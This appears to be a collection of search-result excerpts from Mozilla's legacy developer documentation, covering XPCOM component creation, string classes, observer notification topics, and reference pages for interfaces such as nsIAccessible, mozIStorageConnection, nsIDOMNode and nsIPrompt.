...rvice. when creating livemarks during startup, you should use the nsilivemarkservice.createlivemarkfolderonly() to avoid http traffic. this creates the encapsulating livemark without actually fetching the rss feed's contents. var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]. ...
...oid http traffic. this creates the encapsulating livemark without actually fetching the rss feed's contents. var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"]. ...
Creating the Component Code
. for example, mozilla_strict_api is a variable that shields you from certain private, non-xpcom headers. for example, including nsicomponentmanager.idl without mozilla_strict_api defined will include the following headers, which are not supported across versions (unfrozen): nscomponentmanagerutils.h nscomponentmanagerobsolete.h these variables are picked up by files that do not specify themselves as mozilla_strict_api. includes and constants in weblock1.cpp #include <stdio.h> // may be defined at the project level // in the makefile #define mozilla_strict_api #include "nsimodule.h" #include "nsifactory.h" #include "nsicomponentmanager.h" #include "nsicomponentregistrar.h" // use classes to handle iids // classes provide methods for comparison: equals, etc. static const nsiid ki...
...a unique 128-bit number when you call it with no arguments: $ uuidgen ce32e3ff-36f8-425f-94be-d85b26e634ee on windows, a program called guidgen.exe does the same thing and also provides a graphical user interface if you'd rather point and click. or you can use one of the special "bots" on irc in #developers, where you can also get help from human beings. irc irc.mozilla.org /join #developers /msg firebot uuid this command makes the bot generate and return a uuid, which you can then copy into your component source code. now that we've looked at the preliminaries, it's time to discuss the classes that this module provides and the way that they define the relationships of the component in xpcom. coding for the registration process when xpcom discovers your component for the first time...
... these parameters from your registerself call into this method, leaving just the first three parameters. for any class that implements an xpcom interface, the implementation must have a class identifier if it is to be shared with other parts of code via xpcom. this identifier, called a cid, uniquely specifies the implementation. this cid can be created via the tool uuidgen on most operating systems, as in the many faces of the xpcom component manager above. given a cid and an iid, you can refer to any class in xpcom. consider the following: referencing objects by id in this case, you have two implementations of the nsisupports interface. each implementation has a separate cid. the interface also as an iid which is the same for both implementations. when specifying implementation a, the ...
...module interface to m in return_cobj rv = m->queryinterface(kimoduleiid, (void**)return_cobj); if (ns_failed(rv)) { delete m; } return rv; } note: non-null-out the createinstance method guarantees that if the out variable is non-null, it is valid. « previousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder. ...
Using XPCOM Utilities to Make Things Easier
t byte offset zero and a null character is at byte offset 5. other kinds of strings like "wide" strings use two bytes to represent each character, and are often used to deal with unicode strings. the string classes in xpcom are not just limited to representing a null terminated sequence of characters, however. they are fairly complex because they support the gecko layout engine and other subsystems that manage large chunks of data. additionally, in some versions of mozilla the string classes support sequences of characters broken up into multiple fragments (fragments which may or may not be null terminated)[nulls-in-strings]. all string classes in xpcom derive from one of two abstract classes[other-string-classes]: nsastring and nsacstring. the former handles double byte characters, and th...
..., in some versions of mozilla the string classes support sequences of characters broken up into multiple fragments (fragments which may or may not be null terminated)[nulls-in-strings]. all string classes in xpcom derive from one of two abstract classes[other-string-classes]: nsastring and nsacstring. the former handles double byte characters, and the latter tends to be used in more general circumstances, but both of these classes define the functionality of a string. you can see these classes being passed as arguments in many of the xpcom interfaces we'll look at in the following chapters. using strings explaining how all the string classes work is outside the scope of this book, but we can show you how to use strings in the weblock component. the first thing to note is that the string c...
...t both of these classes define the functionality of a string. you can see these classes being passed as arguments in many of the xpcom interfaces we'll look at in the following chapters. using strings explaining how all the string classes work is outside the scope of this book, but we can show you how to use strings in the weblock component. the first thing to note is that the string classes themselves are not frozen, which means that you should not link against them when you can avoid it. linking the full string library (.lib or .a) into a component may raise its footprint by more than 100k (on windows), which in many cases is an unacceptable gain (see the xpcom string guide). for weblock, where the string classes need to be only wrappers around already existing string data, trading adva...
...cename, where interfacename is the name of the interface being compiled. note: nulls-in-strings the string classes may also support embedded nulls. note: other-string-classes there are other abstract string classes, but they are outside the scope of this book. « previousnext » copyright (c) 2003 by doug turner and ian oeschger. this material may be distributed only subject to the terms and conditions set forth in the open publication license, v1.02 or later. distribution of substantively modified versions of this document is prohibited without the explicit permission of the copyright holder. distribution of the work or derivative of the work in any standard (paper) book form is prohibited unless prior permission is obtained from the copyright holder. ...
Observer Notifications
or an alternative method of doing this). data is a string form of the origin (for use in security checks), eg "http://developer.mozilla.org". document-element-inserted document null sent immediately after the root element of a document has been created, but before executing any script on it. user-interaction-active nsidomwindow null sent once every 5000ms while this chrome document sees some kind of user activity (for example, keyboard or mouse events), and at the exact moment of the state transition from idle to active. user-interaction-inactive nsidomwindow null sent when the chrome document has seen no user activity for a while. the notification is not repeated during a continuous inactivity period. windows...
...esponse" is fired, but it will not always appear. download manager these topics indicate that events related to the download manager have occurred. topic description download-manager-ui-done called when the list of downloads in the download manager windows finishes updating. this can happen multiple times, such as when the window first opens, when multiple items are removed, and when entering private browsing mode. download-manager-remove-download called when a download of the list is removed or all the list is cleared. the subject will be the download id wrapped in nsisupportspruint32, for one download removed, or null for multi download remove, for example when the download list is cleared. extension manager note: these notificatio...
...ubject will be the download id wrapped in nsisupportspruint32, for one download removed, or null for multi download remove, for example when the download list is cleared. extension manager note: these notifications are no longer available starting with gecko 2.0, instead use addonmanager.addaddonlistener() to receive similar events. this topic indicates when the extension manager performs some action. note that any action will be taken the next time the application starts. see nsiextensionmanager for details. topic data description em-action-requested item-installed a new extension has been installed. em-action-requested item-upgraded a different version of an existing extension has been installed. em-action-requested item-...
... linux. see bug 758848.) topic data description sleep_notification null sent when the computer is going to sleep. wake_notification null sent when the computer is waking up. login manager this topic indicates when actions related to the login manager occur. topic data description passwordmgr-found-form noautofillforms a login is available for this form, but autofill of forms is disabled, so the form was not automatically filled out. passwordmgr-found-form autocompleteoff a login is available for this form, but autocomplete is disabled. passwordmgr-storage-changed addlogin a login has been added to the login manager's database. the notification's subject is the login that was a...
IAccessibleAction
other-licenses/ia2/accessibleaction.idlnot scriptable this interface gives access to actions that can be executed for accessible objects. 1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) every accessible object that can be manipulated via the native gui beyond the methods available either in the msaa iaccessible interface or in the set of iaccessible2 interfaces (other than this iaccessibleaction interface) should support the iaccessibleaction interface in order to provide assistive technology access to all the actions that can be performed by the object. each action can be performed or queried for a name, description or associated key bindings. actions are needed more for ats that assist the mobility impaired, such a...
...ction can be performed or queried for a name, description or associated key bindings. actions are needed more for ats that assist the mobility impaired, such as on-screen keyboards and voice command software. by providing actions directly, the at can present them to the user without the user having to perform the extra steps to navigate a context menu. the first action should be equivalent to the msaa default action. if there is only one action, iaccessibleaction should also be implemented. method overview [propget] hresult description([in] long actionindex, [out] bstr description ); hresult doaction([in] long actionindex ); [propget] hresult keybinding([in] long actionindex, [in] long nmaxbindings, [out, size_is(,nmaxbindings), length_is(, nbindings)] bstr keybindings, [out] long nbi...
...str description ); parameters actionindex 0 based index specifying which action's description to return. if it lies outside the valid range an empty string is returned. description the returned value is a localized string of the specified action. return value e_invalidarg if bad [in] passed, [out] value is null. s_false if there is nothing to return, [out] value is null. s_ok. doaction() performs the specified action on the object. hresult doaction( [in] long actionindex ); parameters actionindex 0 based index specifying the action to perform. if it lies outside the valid range no action is performed. return value e_invalidarg if bad [in] passed. s_ok. keybinding() returns an array of bstrs describing one or more key bindings, if there are any, associated with the specified action. t...
... action. the returned strings are the localized human readable key sequences to be used to activate each action, e.g. "ctrl+shift+d". since these key sequences are to be used when the object has focus, they are like mnemonics (access keys), and not like shortcut (accelerator) keys. there is no need to implement this method for single action controls since that would be redundant with the standard msaa programming practice of getting the mnemonic from get_acckeyboardshortcut. an at such as an on screen keyboard might not expose these bindings but provide alternative means of activation. [propget] hresult keybinding( [in] long actionindex, [in] long nmaxbindings, [out, size_is(,nmaxbindings), length_is(, nbindings)] bstr keybindings, [out] long nbindings ); parameters actionindex 0 b...
mozIStorageConnection
cstatement createasyncstatement(in autf8string asqlstatement); void createfunction(in autf8string afunctionname, in long anumarguments, in mozistoragefunction afunction); mozistoragestatement createstatement(in autf8string asqlstatement); void createtable(in string atablename, in string atableschema); mozistoragependingstatement executeasync([array, size_is(anumstatements)] in mozistoragebasestatement astatements, in unsigned long anumstatements, [optional] in mozistoragestatementcallback acallback ); void executesimplesql(in autf8string asqlstatement); boolean indexexists(in autf8string aindexname); void preload(); obsolete since gecko 1.9 void removefunction(in autf8string afunctionname); mozistorageprogres...
...exists or the requested table couldn't be created. executeasync() asynchronously executes an array of queries created with this connection, using any currently bound parameters. the statements are run wrapped in a transaction. note: the statements may be reused immediately, and the statements do not need to be reset individually. ...
...nously executes an array of queries created with this connection, using any currently bound parameters. the statements are run wrapped in a transaction. note: the statements may be reused immediately, and the statements do not need to be reset individually. mozistoragependingstatement executeasync( [array, size_is(anumstatements)] in mozistoragebasestatement astatements, in unsigned long anumstatements, in mozistoragestatementcallback acallback optional ); parameters astatements the array of statements to execute asynchronously. they will be executed sequentially, in the order in which they appear in the array. prior to gecko 2.0 this was type mozistoragestatement. anumstatements the number of statements in astatements. acallback optional a mozistoragestatementcallback obje...
.... acallback optional a mozistoragestatementcallback object to receive progress, error, and completion notifications. return value a mozistoragependingstatement object that can be used to cancel the statements' execution. executesimplesql() executes an sql expression that has no bound parameters. warning: performing synchronous io on the main thread can cause serious performance problems. as a result, this method of modifying the database is strongly discouraged! void executesimplesql( in autf8string asqlstatement ); parameters asqlstatement the sql statement to execute. indexexists() this method determines whether or not the given index exists. boolean indexexists( in autf8string aindexname ); parameters aindexname the index to check. return value ...
nsIAccessible
contains the sum of what's needed to support iaccessible as well as atk's generic accessibility objects. can also be used by in-process accessibility clients to get information about objects in the accessible tree. the accessible tree is a subset of nodes in the dom tree -- such as documents, focusable elements and text. mozilla creates the implementations of nsiaccessible on demand. ...
...ght, top or below placed accessible methods getkeybindings provides array of localized string of global keyboard accelerator for the given action index supported by accessible. getstate provides a bit fields of accessible states which describe boolean properties of accessible. groupposition this method returns grouping information. used for tree items, list items, tab panel labels, radio buttons, etc. also used for collectons of non-text objects. getchildatpoint this method returns an accessible child which contains the coordinate at (x, y) in screen pixels. getchildat this method returns nth accessible child using zero-based index or last child if index than less than zero. getaccessibletoright ...
...thod selects this accessible node only. takefocus this method focuses this accessible node. getactionname this method retrieves the name of the accessible action at the given zero-based index. getactiondescription this method retrieves the description of the accessible action at the given zero-based index. doaction this method performs the accessible action at the given zero-based index. action number 0 is the default action. attributes parent parent node in accessible tree. nextsibling next sibling in accessible tree. previoussibling previous sibling in accessible tree. firstchild first child in accessible tree. lastchild last child in accessible t...
... for this node. widgets that use role attribute can force a value using the valuenow attribute. description accessible description -- long text associated with this node. keyboardshortcut provides localized string of accesskey name, such as alt+d. the modifier may be affected by user and platform preferences. usually alt+letter, or just the letter alone for menu items. defaultkeybinding provides localized string of global keyboard accelerator for default action, such as ctrl+o for open file. role enumerated accessible role for the associated element. help help text associated with node. focusedchild focused accessible child of node. attributes attributes of accessible. rel...
nsIComponentManager
ed with the addbootstrappedmanifestlocation() method. see addbootstrappedmanifestlocation() for details. void removebootstrappedmanifestlocation( in interface nsilocalfile alocation ); parameters examples using addbootstrappedmanifestlocation in a bootstrapped extension for firefox 8 and 9: alocation the directory or xpi to stop reading the chrome.manifest from. ...
... in interface nsilocalfile alocation ); parameters examples using addbootstrappedmanifestlocation in a bootstrapped extension for firefox 8 and 9: alocation the directory or xpi to stop reading the chrome.manifest from. ...
... parameters examples using addbootstrappedmanifestlocation in a bootstrapped extension for firefox 8 and 9: alocation the directory or xpi to stop reading the chrome.manifest from. ...
...top reading the chrome.manifest from. ...
nsIDOMChromeWindow
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void beginwindowmove(in nsidomevent mousedownevent); void getattention(); void getattentionwithcyclecount(in long acyclecount); void maximize(); void minimize(); void notifydefaultbuttonloaded(in nsidomelement defaultbutton); void restore(); void setcursor(in domstring cursor); attributes attribute type description browserdomwindow nsibrowserdomwindow the related nsibrowserdomwindow instance which provides access to yet another layer of utility functions by chrome script. it will be null for domwindows not corresponding to browsers. messagemanager nsichromeframemessagemanager read only. title domstring obsolete since gecko 1.9.1 windowstate...
...cko 1.9.1 windowstate unsigned short returns current window state, the value is one of state_* constants. read only. constants constant value description state_maximized 1 the window is maximized. state_minimized 2 the window is minimized. state_normal 3 the window is normal. state_fullscreen 4 the window is in full screen mode. methods beginwindowmove() on some operating systems, we must allow the window manager to handle window dragging. this method tells the window manager to start dragging the window. this method will fail unless called while the left mouse button is held down, callers must check this. void beginwindowmove( in nsidomevent mousedownevent ); parameters mousedownevent exceptions thrown ns_error_not_implemented if the operating system does not supp...
...ne. notifydefaultbuttonloaded() when a document has been loaded, the document can notify the default button of the document to the window by using this method. when this method is called on windows, gecko moves the mouse cursor to center of the button if the auto cursor snap setting is enabled on the system. however, when the window isn't active at that time, the cursor isn't moved. on other systems, this method doesn't have any reaction currently. this method is called automatically on dialog element or wizard element of xul. if some xul applications create a dialog like window which has a default button but it's not created by the dialog/wizard element, the applications should call this method for the accessibility and the usability on windows at onload event. void notifydefaultbuttonloade...
...ement of the window. restore() restores the size and position of the window. void restore(); parameters none. setcursor() sets the mouse cursor to the specified cursor. the mouse cursor is locked to the specified cursor if it's not "auto". at that time, the cursor has been never changed by cursor moving. after you call this method with "auto", the cursor will be unlocked. void setcursor( in domstring cursor ); parameters cursor you can specify same values of css cursor property (including -moz- prefixed values). and there are special values: "grab", "grabbing" and "spinning". but they might be dropped in the future version, if you use the values, you should use -moz-* value instead. ...
nsIDOMNode
tire document object model. it represents a single node in the document tree. ...
...odel. it represents a single node in the document tree. inherits from: nsisupports last changed in gecko 0.9.6 method overview nsidomnode appendchild(in nsidomnode newchild) nsidomnode clonenode(in boolean deep); boolean hasattributes(); boolean haschildnodes(); nsidomnode insertbefore(in nsidomnode newchild, in nsidomnode refchild) boolean issupported(in domstring feature, in domstring version); void normalize(); nsidomnode removechild(in nsidomnode oldchild) nsidomnode replacechild(in nsidomnode newchild, in nsidomnode oldchild) attributes attribute type description attributes nsidomnamednodemap read only. childnodes nsidomnodelist read only. firstchild nsidomnode read only. lastchild nsidomnode read only. localname domstring read only. namespaceur...
...g version); void normalize(); nsidomnode removechild(in nsidomnode oldchild) nsidomnode replacechild(in nsidomnode newchild, in nsidomnode oldchild) attributes attribute type description attributes nsidomnamednodemap read only. childnodes nsidomnodelist read only. firstchild nsidomnode read only. lastchild nsidomnode read only. localname domstring read only. namespaceuri domstring read only. nextsibling nsidomnode read only. nodename domstring read only. nodetype unsigned short read only. nodevalue domstring ownerdocument nsidomdocument read only. parentnode nsidomnode read only. prefix domstring previoussibling nsidomnode read only. constants constant value description element_node 1 attribute_node 2 text_node 3 cdata_section_n...
...ode clonenode( in boolean deep ); parameters deep return value hasattributes() boolean hasattributes(); parameters none. return value haschildnodes() boolean haschildnodes(); parameters none. return value insertbefore() nsidomnode insertbefore( in nsidomnode newchild, in nsidomnode refchild ); parameters newchild refchild return value issupported() boolean issupported( in domstring feature, in domstring version ); parameters feature version return value normalize() void normalize(); parameters none. removechild() nsidomnode removechild( in nsidomnode oldchild ); parameters oldchild return value replacechild() nsidomnode replacechild( in nsidomnode newchild, in nsidomnode oldchild ); parameters newchild oldchild return value see also document ...
nsIDOMParser
eating the parser via createinstance() the created documents will use a moz-nullprincipal:{<guid>} uri, which will show in the error console in parsing errors, in particular. supposedly, if you want to create objects that some particular set of unprivileged code will be able to access (see discussion in bug 565480). ...
...sedly, if you want to create objects that some particular set of unprivileged code will be able to access (see discussion in bug 565480). parsing a string once you've created a domparser object, you can use its parsefromstring method to parse xml or html as described in the web platform documentation. ...
...platform documentation. ...
...es["@mozilla.org/xmlextras/domparser;1"] .createinstance(components.interfaces.nsidomparser); var doc = parser.parsefromstring(astr, "application/xml"); using components.constructor(): const domparser = new components.constructor("@mozilla.org/xmlextras/domparser;1", "nsidomparser"); var parser = new domparser(); parser.init(principal, documenturi, baseuri); var doc = parser.parsefromstring(astr, "application/xml"); ...
nsIDOMXPathEvaluator
sions against a dom node. inherits from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/dom/xpath-evaluator;1. ...
... note: prior to gecko 1.9, you could call this method on documents other than the one you planned to run the xpath against; starting with gecko 1.9, howeve...
...short type, in nsisupports result) methods createexpression() creates an nsidomxpathexpression which can then be used for (repeated) evaluations. note: prior to gecko 1.9, you could call this method on documents other than the one you planned to run the xpath against; starting with gecko 1.9, however, you must call it on the same document. nsidomxpathexpression createexpression( in domstring expression, in nsidomxpathnsresolver resolver ); parameters expression a string representing the xpath to be created. resolver a name space resolver created by creatensresolver(), or a user defined name space resolver. read more on implementing a user defined namespace resolver if you wish to take the latter approach. return value an xpath expression, as an nsidomxpath...
...t they can be matched with the document. null is common for html documents or when no name space prefixes are used. nsidomxpathnsresolver creatensresolver( in nsidomnode noderesolver ); parameters noderesolver the node to be used as a context for name space resolution. return value a name space resolver. evaluate() evaluate the specified xpath expression. nsisupports evaluate( in domstring expression, in nsidomnode contextnode, in nsidomxpathnsresolver resolver, in unsigned short type, in nsisupports result ); parameters expression a string representing the xpath to be evaluated. contextnode a dom node to evaluate the xpath expression against. to evaluate against a whole document, use the document.documentelement. resolver a name space resolve...
nsIEventListenerService
n nsidomeventtarget aeventtarget, [optional] out unsigned long acount, [retval, array, size_is(acount)] out nsidomeventtarget aoutarray); void getlistenerinfofor(in nsidomeventtarget aeventtarget, [optional] out unsigned long acount, [retval, array, size_is(acount)] out nsieventlistenerinfo aoutarray); boolean haslistenersfor(in nsidomeventtarget aeventtarget, in domstring atype); void addsystemeventlistener(in nsidomeventtarget target, in domstring type, in nsidomeventlistener listener, in boolean usecapture); void removesystemeventlistener(in nsidomeventtarget target, in domstring type, in nsidomeventlistener listener, in boolean usecapture); attributes attribute type description ...
...ttarget the nsieventtarget for which to obtain a list of listeners. acount on return, the number of returned listener descriptors. aoutarray an array of nsieventlistenerinfo objects describing the listeners. haslistenersfor() returns true if a event target has any listener for the given type. boolean haslistenersfor( in nsidomeventtarget aeventtarget, in domstring atype ); parameters aeventtarget the nsidomeventtarget for which to check if this has any listener for atype. atype an event name. addsystemeventlistener() add a system-group eventlistener to a event target. system-group eventlisteners are called after all eventlisteners in default-group handle the events. so, system-group eventlisteners can implement the defa...
...ystem-group eventlistener to a event target. system-group eventlisteners are called after all eventlisteners in default-group handle the events. so, system-group eventlisteners can implement the default action of the event. even if an event is stopped its propagation in default-group, the event will be fired again in system-group. void addsystemeventlistener( in nsidomeventtarget target, in domstring type, in nsidomeventlistener listener, in boolean usecapture ); parameters target the nsidomeventtarget for the event target to listen an event. type the event name to listen. listener the nsidomeventlistener which listens the event. usecapture true if to listen the event in capture phase, otherwise, false. removesystemeventliste...
...the event target to listen an event. type the event name to listen. listener the nsidomeventlistener which listens the event. usecapture true if to listen the event in capture phase, otherwise, false. removesystemeventlistener() remove a system-group eventlistener from a event target. void removesystemeventlistener( in nsidomeventtarget target, in domstring type, in nsidomeventlistener listener, in boolean usecapture ); parameters target the nsidomeventtarget for the event target listening the event. type the listening event name. listener the nsidomeventlistener which is listening the event. usecapture true if listening the events in capture phase, otherwise, false. remarks nsieven...
nsIInputStream
7.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) an input stream may be "blocking" or "non-blocking" (see the isnonblocking() method). a blocking input stream may suspend the calling thread in order to satisfy a call to close(), available(), read(), or readsegments(). a non-blocking input stream, on the other hand, must not block the calling thread of execution. note: blocking input streams are often read on a background thread to avoid locking up the main application thread. for this reason, it is generally the case that a blocking input stream should be implemented using thread-safe addref and release. method overview unsigned long available();deprecated since gecko 17.0 unsigned long long available(); void close(); boolean isnonblocking(); ...
...isnonblocking(); unsigned long read(in charptr abuf, in unsigned long acount); native code only! unsigned long readsegments(in nswritesegmentfun awriter, in voidptr aclosure, in unsigned long acount); native code only! methods available() determine number of bytes available in the stream. in addition to the number of bytes available in the stream, this method also informs the caller of the current status of the stream. a stream that is closed will throw an exception when this method is called. that enables the caller to know the condition of the stream before attempting to read from it. if a stream is at end-of-file, but not closed, then this method returns 0 bytes available. note: some nsiinputstream implementations automatically close() when end-of-file is rea...
...ed(rv)) { printf("### error reading stream: %x\n", rv); break; } if (numread == 0) break; // buf now contains numread bytes of data } return rv; } consume all data from an input stream using readsegments(). ...
...return rv; } consume all data from an input stream using readsegments(). static ns_method appendsegment(nsiinputstream* astream, void* aclosure, const char* afromsegment, uint32_t atooffset, uint32_t acount, uint32_t* awritecount) { // afromsegment now contains acount bytes of data. nsacstring* pbuf = (nsacstring*) aclosure; pbuf->append(afromsegment, acount); // indicate that we have consumed all of afromsegment *awritecount = acount; return ns_ok; } // copy the contents of astream into aresultbuf as one contiguous // buffer. use readsegments to avoid an intermediate buffer copy. nsresult copystream(nsiinputstream* astre...
nsIInstallLocation
pe description canaccess boolean whether or not the user can write to the install location with the current access privileges. this is different from restricted because it's not whether or not the location *might* be restricted, it's whether or not it actually *is* restricted right now. read only. itemlocations nsidirectoryenumerator an enumeration of nsifiles for: locations that contain items potential dropped-in xpis note: this enumeration resolves text links to the directories they refer to. read only. location nsifile the file system location where items live. items can be dropped in at this location. can be null for install locations that don't have a file system presence. note: this is a clone of the actual location which the caller can modify freely. read only. name astrin...
...a file object at the requested location. the file does not necessarily have to exist. getitemlocation() gets the directory that contains an item. nsifile getitemlocation( in astring id ); parameters id the guid of the item. return value the location of the item. ...
...boolean itemismanagedindependently( in astring id ); parameters id the guid of the item. ...
...boolean itemismanagedindependently( in astring id ); parameters id the guid of the item. return value true if the item's resources are managed independently of the extension system, false otherwise. removefile() removes a file from the stage. ...
nsIMacDockSupport
is can be used, for example, to display the number of unread messages in an email client. dockmenu nsistandalonemenu the menu to display when the user right-clicks on the application's icon in the dock. methods activateapplication() activates the application, making it the frontmost application. the application should call this to activate itself when one of its dock menu items are selected, since doing so does not automatically activate the application. void activateapplication( in boolean aignoreotherapplications ); parameters aignoreotherapplications if true, the application is activated regardless of the state of other applications. if false, the application is only activated if other applications are not currently active. about dockmenu by default fire...
...doing so does not automatically activate the application. void activateapplication( in boolean aignoreotherapplications ); parameters aignoreotherapplications if true, the application is activated regardless of the state of other applications. if false, the application is only activated if other applications are not currently active. about dockmenu by default firefox adds two menu items to the dock menu. the menu items are "new window" and "new private window". if permanent private browsing mode is enabled then the "new private window" menu item is hidden. this is created by using the dockmenu attribute of nsimacdocksupport here: http://mxr.mozilla.org/mozilla-release/source/browser/base/content/browser.js#1562 this is seen here: if you were to copy and follow that example you...
...enuelement); docksupport.dockmenu = nativemenu; this replaces the default menu with this one menuitem that says "show most recent window". notice the activateapplication(true), if this is not done then firefox will not be activated. the result of this code is shown below. notice how the "new window" and "new private window" menuitem's are missing. therefore, if you would like to add or remove items to the menu it is recommended to manipulate the default menu item which is on the hidden window of firefox. note: the hidden window of firefox (services.appshel.hiddendomwindow) loads on browser startup, so if you would like to access it on startup of the browser make sure to check and wait for the window to be loaded. this can be done by adding a event listenr for load of the hidden window. this...
... ...
nsINavBookmarkObserver
d( in print64 folder, in print64 parent, in print32 index ); parameters folder the id of the folder that was removed. parent the id of the folder's old parent. index the folder's old index in its parent. onitemadded() this method notifies this observer that an item was added. it is called after the actual addition took place. when a new item is created, all the items following it in the same folder will have their index shifted down, but no additional notifications will be sent. void onitemadded( in long long aitemid, in long long aparentid, in long aindex, in unsigned short aitemtype, in nsiuri auri, in autf8string atitle, in prtime adateadded, in acstring aguid, in acstring aparentguid ); parameters aitemid the id of the item tha...
...es have been deleted. in this situation, you should not attempt to get any properties, since this will result in the automatic regeneration of properties that will then be leaked into the database, causing trouble later. aisannotationproperty indicates whether or not aproperty is the name of an item annotation. if this is true, anewvalue is always an empty string. anewvalue the items new value, if required by the property specified by aproperty. alastmodified the value to set the items last modified time to, or 0 if the value should remain unchanged. aitemtype the type of the item that has been changed. this should be one of the nsinavbookmarksservice.type constants. aparentid the id of the folder containing the item. aguid the unique id as...
...he nsinavbookmarksservice.type constants. aguid the unique id associated with the item. aoldparentguid the unique id associated with the old item's parent. anewparentguid the unique id associated with the new item's parent. onitemremoved() this method notifies that an item was removed. it is called after the actual remove took place. when an item is removed, all the items following it in the same folder will have their index shifted down, but no additional notifications will be sent. void onitemremoved( in long long aitemid, in long long aparentid, in long aindex, in unsigned short aitemtype, in nsiuri auri, in acstring aguid, in acstring aparentguid ); parameters aitemid the id of the item that was removed. aparentid the id of the ...
...observer that a bookmark has been replaced. void onitemreplaced( in print64 folder, in nsiuri item, in nsiuri newitem ); parameters folder the folder in which the bookmark was replaced. item the item which was replaced. newitem the new item which replaced item. onitemvisited() this method notifies that the item was visited. can be invoked only for type_bookmark items. normally in bookmarks we use the last visit date, and normally the time will be a new visit that will be more recent, but this is not guaranteed. you should check to see if it is actually more recent before using this new time. see onitemchanged() method property = "cleartime" for when all visit dates are deleted for the uri. note: the reported time is the time of the visit that was added, which...
nsIPrintingPrompt
void showpagesetup( in nsiprintsettings printsettings, in nsiobserver aobs ); parameters printsettings printsettings for page setup. aobs optional an observer to know if the contents of the print settings object has changed while the dialog is being shown. for example, so...
...ngs printsettings, in nsiobserver aobs); void showprintdialog(in nsiwebbrowserprint webbrowserprint, in nsiprintsettings printsettings); void showprogress(in nsiwebbrowserprint webbrowserprint, in nsiprintsettings printsettings, in nsiobserver opendialogobserver, in boolean isforprinting, out nsiwebprogresslistener webprogresslistener, out nsiprintprogressparams printprogressparams, out boolean notifyonopen); methods showpagesetup() shows the print progress dialog. void showpagesetup( in nsiprintsettings printsettings, in nsiobserver aobs ); parameters printsettings printsettings for page setup. aobs optional an observer to know if the contents of the print settings object has changed while the dialog is being shown. for example, some platforms may imp...
...ers webbrowserprint represents the document to be printed. printsettings printsettings for print "job". showprogress() shows the print progress dialog. void showprogress( in nsiwebbrowserprint webbrowserprint, in nsiprintsettings printsettings, in nsiobserver opendialogobserver, in boolean isforprinting, out nsiwebprogresslistener webprogresslistener, out nsiprintprogressparams printprogressparams, out boolean notifyonopen ); parameters webbrowserprint represents the document to be printed. printsettings printsettings for print "job" opendialogobserver an observer that will be notifed when the dialog is opened. isforprinting true - for printing, false for print preview. webprogresslistener additional listener can be registered for progress notifications.
...s, out boolean notifyonopen ); parameters webbrowserprint represents the document to be printed. printsettings printsettings for print "job" opendialogobserver an observer that will be notifed when the dialog is opened. isforprinting true - for printing, false for print preview. webprogresslistener additional listener can be registered for progress notifications. printprogressparams parameter object for passing progress state. notifyonopen this indicates that the observer will be notified when the progress dialog has been opened. if false is returned it means the observer (usually the caller) shouldn't wait for print preview progress there is intermediate progress. ...
nsIPrompt
ds. normally you would use the prompt service as it is more flexible, but sometimes a callback will request an nsiprompt via nsiinterfacerequestor.getinterface(). to get an instance, call the nsiwindowwatcher.getnewprompter(). ...
...wwatcher.getnewprompter(). ...
...e); boolean confirm(in wstring dialogtitle, in wstring text); boolean confirmcheck(in wstring dialogtitle, in wstring text, in wstring checkmsg, inout boolean checkvalue); print32 confirmex(in wstring dialogtitle, in wstring text, in unsigned long buttonflags, in wstring button0title, in wstring button1title, in wstring button2title, in wstring checkmsg, inout boolean checkvalue); boolean prompt(in wstring dialogtitle, in wstring text, inout wstring value, in wstring checkmsg, inout boolean checkvalue); boolean promptpassword(in wstring dialogtitle, in wstring text, inout wstring password, in wstring checkmsg, inout boolean checkvalue); boolean promptusernameandpassword(in wstring dialogtitle, in ...
...title, in wstring text, inout wstring value, in wstring checkmsg, inout boolean checkvalue); boolean promptpassword(in wstring dialogtitle, in wstring text, inout wstring password, in wstring checkmsg, inout boolean checkvalue); boolean promptusernameandpassword(in wstring dialogtitle, in wstring text, inout wstring username, inout wstring password, in wstring checkmsg, inout boolean checkvalue); boolean select(in wstring dialogtitle, in wstring text, in pruint32 count, [array, size_is(count)] in wstring selectlist, out long outselection); constants the button flags defined in nsiprompt are the same as those defined in nsipromptservice.constants. example usage is also documented: using the button flags see also nsipromptservice ...
nsISelection3
content/base/public/nsiselection3.idlscriptable please add a summary to this article. 1.0 66 introduced gecko 2.0 obsolete gecko 8.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko 8.0 this interface was merged into the nsiselection interface. ...
...base/public/nsiselection3.idlscriptable please add a summary to this article. 1.0 66 introduced gecko 2.0 obsolete gecko 8.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko 8.0 this interface was merged into the nsiselection interface. ...
...3.idlscriptable please add a summary to this article. 1.0 66 introduced gecko 2.0 obsolete gecko 8.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko 8.0 this interface was merged into the nsiselection interface. ...
...erits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) in gecko 8.0 this interface was merged into the nsiselection interface. method overview void modify(in domstring alter, in domstring direction, in domstring granularity); methods modify() modifies the selection. note that the parameters are case-insensitive. void modify( in domstring alter, in domstring direction, in domstring granularity ); parameters alter can be one of { "move", "extend" } "move" collapses the selection to the end of the selection and applies the movement direction/granularity to the collapsed selection. "extend" leaves the start of the selection unchanged, and applies movement direction/granularity to the end of the selection. di...
nsISound
emented by: @mozilla.org/sound;1. to use this interface, use: var sound = components.classes["@mozilla.org/sound;1"] .createinstance(components.interfaces.nsisound); method overview void beep(); void init(); void play(in nsiurl aurl); void playeventsound(in unsigned long aeventid); void playsystemsound(in astring soundalias); constants sound event constants constant value description event_new_mail_received 0 the system receives email. event_alert_dialog_open 1 an alert dialog is opened. event_confirm_dialog_open 2 a confirm dialog is opened. event_promp...
